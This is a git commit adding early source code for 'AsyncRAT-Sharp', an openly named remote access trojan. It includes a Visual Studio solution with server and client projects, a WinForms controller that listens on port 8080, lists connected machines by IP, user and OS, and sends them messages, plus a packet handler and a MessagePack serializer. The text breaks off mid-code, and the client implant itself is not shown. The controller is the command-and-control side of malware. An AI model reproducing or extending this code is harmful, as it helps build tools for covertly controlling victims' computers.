C# Example

This commit is contained in:
NYAN CAT 2019-01-18 20:02:02 -08:00
parent cfbe70e08b
commit 7bd1cdd7d6
29 changed files with 3871 additions and 1 deletions

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.28307.168
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AsyncRAT-Sharp", "AsyncRAT-Sharp\AsyncRAT-Sharp.csproj", "{7767C300-5FD5-4A5D-9D4C-59559CCE48A3}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client", "Client\Client.csproj", "{C3C49F45-2589-4E04-9C50-71B6035C14AE}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{7767C300-5FD5-4A5D-9D4C-59559CCE48A3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{7767C300-5FD5-4A5D-9D4C-59559CCE48A3}.Debug|Any CPU.Build.0 = Debug|Any CPU
{7767C300-5FD5-4A5D-9D4C-59559CCE48A3}.Release|Any CPU.ActiveCfg = Release|Any CPU
{7767C300-5FD5-4A5D-9D4C-59559CCE48A3}.Release|Any CPU.Build.0 = Release|Any CPU
{C3C49F45-2589-4E04-9C50-71B6035C14AE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{C3C49F45-2589-4E04-9C50-71B6035C14AE}.Debug|Any CPU.Build.0 = Debug|Any CPU
{C3C49F45-2589-4E04-9C50-71B6035C14AE}.Release|Any CPU.ActiveCfg = Release|Any CPU
{C3C49F45-2589-4E04-9C50-71B6035C14AE}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {B9F2462F-603A-41C4-9CFC-1FAC60B4731C}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
</startup>
</configuration>

View File

@ -0,0 +1,91 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{7767C300-5FD5-4A5D-9D4C-59559CCE48A3}</ProjectGuid>
<OutputType>WinExe</OutputType>
<RootNamespace>AsyncRAT_Sharp</RootNamespace>
<AssemblyName>AsyncRAT-Sharp</AssemblyName>
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Net.Http" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Form1.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Form1.Designer.cs">
<DependentUpon>Form1.cs</DependentUpon>
</Compile>
<Compile Include="Handle Packet\HandlePacket.cs" />
<Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" />
<Compile Include="MessagePack\MsgPackType.cs" />
<Compile Include="MessagePack\ReadTools.cs" />
<Compile Include="MessagePack\WriteTools.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Socket\Clients.cs" />
<Compile Include="Socket\Listener.cs" />
<EmbeddedResource Include="Form1.resx">
<DependentUpon>Form1.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
<SubType>Designer</SubType>
</EmbeddedResource>
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
</None>
<Compile Include="Properties\Settings.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -0,0 +1,110 @@
namespace AsyncRAT_Sharp
{
partial class Form1
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.listView1 = new System.Windows.Forms.ListView();
this.lv_ip = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.sendMessageToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuStrip1.SuspendLayout();
this.SuspendLayout();
//
// listView1
//
this.listView1.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
this.lv_ip,
this.lv_user,
this.lv_os});
this.listView1.ContextMenuStrip = this.contextMenuStrip1;
this.listView1.Dock = System.Windows.Forms.DockStyle.Fill;
this.listView1.FullRowSelect = true;
this.listView1.GridLines = true;
this.listView1.Location = new System.Drawing.Point(0, 0);
this.listView1.Name = "listView1";
this.listView1.Size = new System.Drawing.Size(849, 372);
this.listView1.TabIndex = 0;
this.listView1.UseCompatibleStateImageBehavior = false;
this.listView1.View = System.Windows.Forms.View.Details;
//
// lv_ip
//
this.lv_ip.Text = "IP";
//
// lv_user
//
this.lv_user.Text = "USER";
//
// lv_os
//
this.lv_os.Text = "OS";
//
// contextMenuStrip1
//
this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.sendMessageToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(200, 34);
//
// sendMessageToolStripMenuItem
//
this.sendMessageToolStripMenuItem.Name = "sendMessageToolStripMenuItem";
this.sendMessageToolStripMenuItem.Size = new System.Drawing.Size(199, 30);
this.sendMessageToolStripMenuItem.Text = "Send Message";
this.sendMessageToolStripMenuItem.Click += new System.EventHandler(this.sendMessageToolStripMenuItem_Click);
//
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(849, 372);
this.Controls.Add(this.listView1);
this.Name = "Form1";
this.Text = "AsyncRAT-Sharp // NYAN CAT";
this.Load += new System.EventHandler(this.Form1_Load);
this.contextMenuStrip1.ResumeLayout(false);
this.ResumeLayout(false);
}
#endregion
public System.Windows.Forms.ListView listView1;
private System.Windows.Forms.ColumnHeader lv_ip;
private System.Windows.Forms.ColumnHeader lv_user;
private System.Windows.Forms.ColumnHeader lv_os;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
private System.Windows.Forms.ToolStripMenuItem sendMessageToolStripMenuItem;
}
}

View File

@ -0,0 +1,41 @@
using System;
using System.Windows.Forms;
using AsyncRAT_Sharp.MessagePack;
using AsyncRAT_Sharp.Sockets;
using Microsoft.VisualBasic;
namespace AsyncRAT_Sharp
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
Handle_Packet.HandlePacket.Form = this;
Listener listener = new Listener();
listener.Connect(8080);
}
private void sendMessageToolStripMenuItem_Click(object sender, EventArgs e)
{
string URL = Interaction.InputBox("Message", "Message", "Hello World!");
if (string.IsNullOrEmpty(URL))
return;
else
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "MessageBox";
msgpack.ForcePathObject("Message").AsString = URL;
foreach (ListViewItem C in listView1.SelectedItems)
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
}
}
}
}
}

View File

@ -0,0 +1,123 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="contextMenuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
</root>

View File

@ -0,0 +1,34 @@
using AsyncRAT_Sharp.Sockets;
using System.Windows.Forms;
using AsyncRAT_Sharp.MessagePack;
namespace AsyncRAT_Sharp.Handle_Packet
{
class HandlePacket
{
public static Form1 Form;
public delegate void UpdateListViewDelegatevoid(Clients Client, byte[] Data);
public static void Read(Clients Client, byte[] Data)
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(Data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "ClientInfo":
if (Form.listView1.InvokeRequired)
Form.listView1.Invoke(new UpdateListViewDelegatevoid(Read), new object[] {Client, Data});
else
{
Client.LV = new ListViewItem();
Client.LV.Tag = Client;
Client.LV.Text = string.Concat(Client.client.RemoteEndPoint.ToString());
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
Form.listView1.Items.Insert(0, Client.LV);
Form.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
}
break;
}
}
}
}

View File

@ -0,0 +1,102 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AsyncRAT_Sharp.MessagePack
{
public class BytesTools
{
static UTF8Encoding utf8Encode = new UTF8Encoding();
public static byte[] GetUtf8Bytes(String s)
{
return utf8Encode.GetBytes(s);
}
public static String GetString(byte[] utf8Bytes)
{
return utf8Encode.GetString(utf8Bytes);
}
public static String BytesAsString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:D3} ", b));
}
return sb.ToString();
}
public static String BytesAsHexString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:X2} ", b));
}
return sb.ToString();
}
/// <summary>
/// 交换byte数组数据
/// 可用于高低数据交换
/// </summary>
/// <param name="v">要交换的byte数组</param>
/// <returns>返回交换后的数据</returns>
public static byte[] SwapBytes(byte[] v)
{
byte[] r = new byte[v.Length];
int j = v.Length - 1;
for (int i = 0; i < r.Length; i++)
{
r[i] = v[j];
j--;
}
return r;
}
public static byte[] SwapInt64(Int64 v)
{
//byte[] r = new byte[8];
//r[7] = (byte)v;
//r[6] = (byte)(v >> 8);
//r[5] = (byte)(v >> 16);
//r[4] = (byte)(v >> 24);
//r[3] = (byte)(v >> 32);
//r[2] = (byte)(v >> 40);
//r[1] = (byte)(v >> 48);
//r[0] = (byte)(v >> 56);
return SwapBytes(BitConverter.GetBytes(v));
}
public static byte[] SwapInt32(Int32 v)
{
byte[] r = new byte[4];
r[3] = (byte)v;
r[2] = (byte)(v >> 8);
r[1] = (byte)(v >> 16);
r[0] = (byte)(v >> 24);
return r;
}
public static byte[] SwapInt16(Int16 v)
{
byte[] r = new byte[2];
r[1] = (byte)v;
r[0] = (byte)(v >> 8);
return r;
}
public static byte[] SwapDouble(Double v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
}
}

View File

@ -0,0 +1,932 @@
/*
* DecodeFormFile函数
* 2015-07-14 16:31:32
*
* ForcePathObject查找不到子对象的bug,(Putree 274638001<spiritring@gmail.com>)
* 2015-07-14 16:32:13
*
* 1270,(Putree 274638001<spiritring@gmail.com>)
* 2015-07-14 15:28:45
*
* Credit -> github.com/ymofen/SimpleMsgPack.Net
*/
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AsyncRAT_Sharp.MessagePack
{
public class MsgPackEnum : IEnumerator
{
List<MsgPack> children;
int position = -1;
public MsgPackEnum(List<MsgPack> obj)
{
children = obj;
}
object IEnumerator.Current
{
get { return children[position]; }
}
bool IEnumerator.MoveNext()
{
position++;
return (position < children.Count);
}
void IEnumerator.Reset()
{
position = -1;
}
}
public class MsgPackArray
{
List<MsgPack> children;
MsgPack owner;
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
{
owner = msgpackObj;
children = listObj;
}
public MsgPack Add()
{
return owner.AddArrayChild();
}
public MsgPack Add(String value)
{
MsgPack obj = owner.AddArrayChild();
obj.AsString = value;
return obj;
}
public MsgPack Add(Int64 value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsInteger(value);
return obj;
}
public MsgPack Add(Double value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsFloat(value);
return obj;
}
public MsgPack this[int index]
{
get { return children[index]; }
}
public int Length
{
get { return children.Count; }
}
}
public class MsgPack : IEnumerable
{
string name;
string lowerName;
object innerValue;
MsgPackType valueType;
MsgPack parent;
List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;
private void SetName(string value)
{
this.name = value;
this.lowerName = name.ToLower();
}
private void Clear()
{
for (int i = 0; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}
children.Clear();
}
private MsgPack InnerAdd()
{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);
return r;
}
private int IndexOf(string name)
{
int i = -1;
int r = -1;
string tmp = name.ToLower();
foreach (MsgPack item in children)
{
i++;
if (tmp.Equals(item.lowerName))
{
r = i;
break;
}
}
return r;
}
public MsgPack FindObject(string name)
{
int i = IndexOf(name);
if (i == -1)
{
return null;
}
else
{
return this.children[i];
}
}
private MsgPack InnerAddMapChild()
{
if (valueType != MsgPackType.Map)
{
Clear();
this.valueType = MsgPackType.Map;
}
return InnerAdd();
}
private MsgPack InnerAddArrayChild()
{
if (valueType != MsgPackType.Array)
{
Clear();
this.valueType = MsgPackType.Array;
}
return InnerAdd();
}
public MsgPack AddArrayChild()
{
return InnerAddArrayChild();
}
private void WriteMap(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x80 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDE;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDF;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
WriteTools.WriteString(ms, children[i].name);
children[i].Encode2Stream(ms);
}
}
private void WirteArray(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x90 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDC;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDD;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
((MsgPack)children[i]).Encode2Stream(ms);
}
}
public void SetAsInteger(Int64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.Integer;
}
public void SetAsUInt64(UInt64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.UInt64;
}
public UInt64 GetAsUInt64()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToUInt64((Int64)this.innerValue);
case MsgPackType.UInt64:
return (UInt64)this.innerValue;
case MsgPackType.String:
return UInt64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToUInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToUInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToUInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Int64 GetAsInteger()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return (Int64)this.innerValue;
case MsgPackType.UInt64:
return Convert.ToInt64((Int64)this.innerValue);
case MsgPackType.String:
return Int64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Double GetAsFloat()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToDouble((Int64)this.innerValue);
case MsgPackType.String:
return Double.Parse((String)this.innerValue);
case MsgPackType.Float:
return (Double)this.innerValue;
case MsgPackType.Single:
return (Single)this.innerValue;
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public void SetAsBytes(byte[] value)
{
this.innerValue = value;
this.valueType = MsgPackType.Binary;
}
public byte[] GetAsBytes()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return BitConverter.GetBytes((Int64)this.innerValue);
case MsgPackType.String:
return BytesTools.GetUtf8Bytes(this.innerValue.ToString());
case MsgPackType.Float:
return BitConverter.GetBytes((Double)this.innerValue);
case MsgPackType.Single:
return BitConverter.GetBytes((Single)this.innerValue);
case MsgPackType.DateTime:
long dateval = ((DateTime)this.innerValue).ToBinary();
return BitConverter.GetBytes(dateval);
case MsgPackType.Binary:
return (byte[])this.innerValue;
default:
return new byte[] { };
}
}
public void Add(string key, String value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsString(value);
}
public void Add(string key, int value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open);
value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length);
fs.Close();
SetAsBytes(value);
return true;
}
else
{
return false;
}
}
public bool SaveBytesToFile(string fileName)
{
if (this.innerValue != null)
{
FileStream fs = new FileStream(fileName, FileMode.Append);
fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length);
fs.Close();
return true;
}
else
{
return false;
}
}
public MsgPack ForcePathObject(string path)
{
MsgPack tmpParent, tmpObject;
tmpParent = this;
string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' });
string tmp = null;
if (pathList.Length == 0)
{
return null;
}
else if (pathList.Length > 1)
{
for (int i = 0; i < pathList.Length - 1; i++)
{
tmp = pathList[i];
tmpObject = tmpParent.FindObject(tmp);
if (tmpObject == null)
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
}
else
{
tmpParent = tmpObject;
}
}
}
tmp = pathList[pathList.Length - 1];
int j = tmpParent.IndexOf(tmp);
if (j > -1)
{
return tmpParent.children[j];
}
else
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
return tmpParent;
}
}
public void SetAsNull()
{
Clear();
this.innerValue = null;
this.valueType = MsgPackType.Null;
}
public void SetAsString(String value)
{
this.innerValue = value;
this.valueType = MsgPackType.String;
}
public String GetAsString()
{
if (this.innerValue == null)
{
return "";
}
else
{
return this.innerValue.ToString();
}
}
public void SetAsBoolean(Boolean bVal)
{
this.valueType = MsgPackType.Boolean;
this.innerValue = bVal;
}
public void SetAsSingle(Single fVal)
{
this.valueType = MsgPackType.Single;
this.innerValue = fVal;
}
public void SetAsFloat(Double fVal)
{
this.valueType = MsgPackType.Float;
this.innerValue = fVal;
}
public void DecodeFromBytes(byte[] bytes)
{
MemoryStream ms = new MemoryStream();
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
}
public void DecodeFromFile(string fileName)
{
FileStream fs = new FileStream(fileName, FileMode.Open);
DecodeFromStream(fs);
fs.Dispose();
}
public void DecodeFromStream(Stream ms)
{
byte lvByte = (byte)ms.ReadByte();
byte[] rawByte = null;
MsgPack msgPack = null;
int len = 0;
int i = 0;
if (lvByte <= 0x7F)
{ //positive fixint 0xxxxxxx 0x00 - 0x7f
SetAsInteger(lvByte);
}
else if ((lvByte >= 0x80) && (lvByte <= 0x8F))
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Map;
len = lvByte - 0x80;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Array;
len = lvByte - 0x90;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf
{
len = lvByte - 0xA0;
SetAsString(ReadTools.ReadString(ms, len));
}
else if ((lvByte >= 0xE0) && (lvByte <= 0xFF))
{ /// -1..-32
// negative fixnum stores 5-bit negative integer
// +--------+
// |111YYYYY|
// +--------+
SetAsInteger((sbyte)lvByte);
}
else if (lvByte == 0xC0)
{
SetAsNull();
}
else if (lvByte == 0xC1)
{
throw new Exception("(never used) type $c1");
}
else if (lvByte == 0xC2)
{
SetAsBoolean(false);
}
else if (lvByte == 0xC3)
{
SetAsBoolean(true);
}
else if (lvByte == 0xC4)
{ // max 255
len = ms.ReadByte();
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC5)
{ // max 65535
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC6)
{ // binary max: 2^32-1
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9))
{
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
}
else if (lvByte == 0xCA)
{ // float 32
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsSingle(BitConverter.ToSingle(rawByte, 0));
}
else if (lvByte == 0xCB)
{ // float 64
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsFloat(BitConverter.ToDouble(rawByte, 0));
}
else if (lvByte == 0xCC)
{ // uint8
// uint 8 stores a 8-bit unsigned integer
// +--------+--------+
// | 0xcc |ZZZZZZZZ|
// +--------+--------+
lvByte = (byte)ms.ReadByte();
SetAsInteger(lvByte);
}
else if (lvByte == 0xCD)
{ // uint16
// uint 16 stores a 16-bit big-endian unsigned integer
// +--------+--------+--------+
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
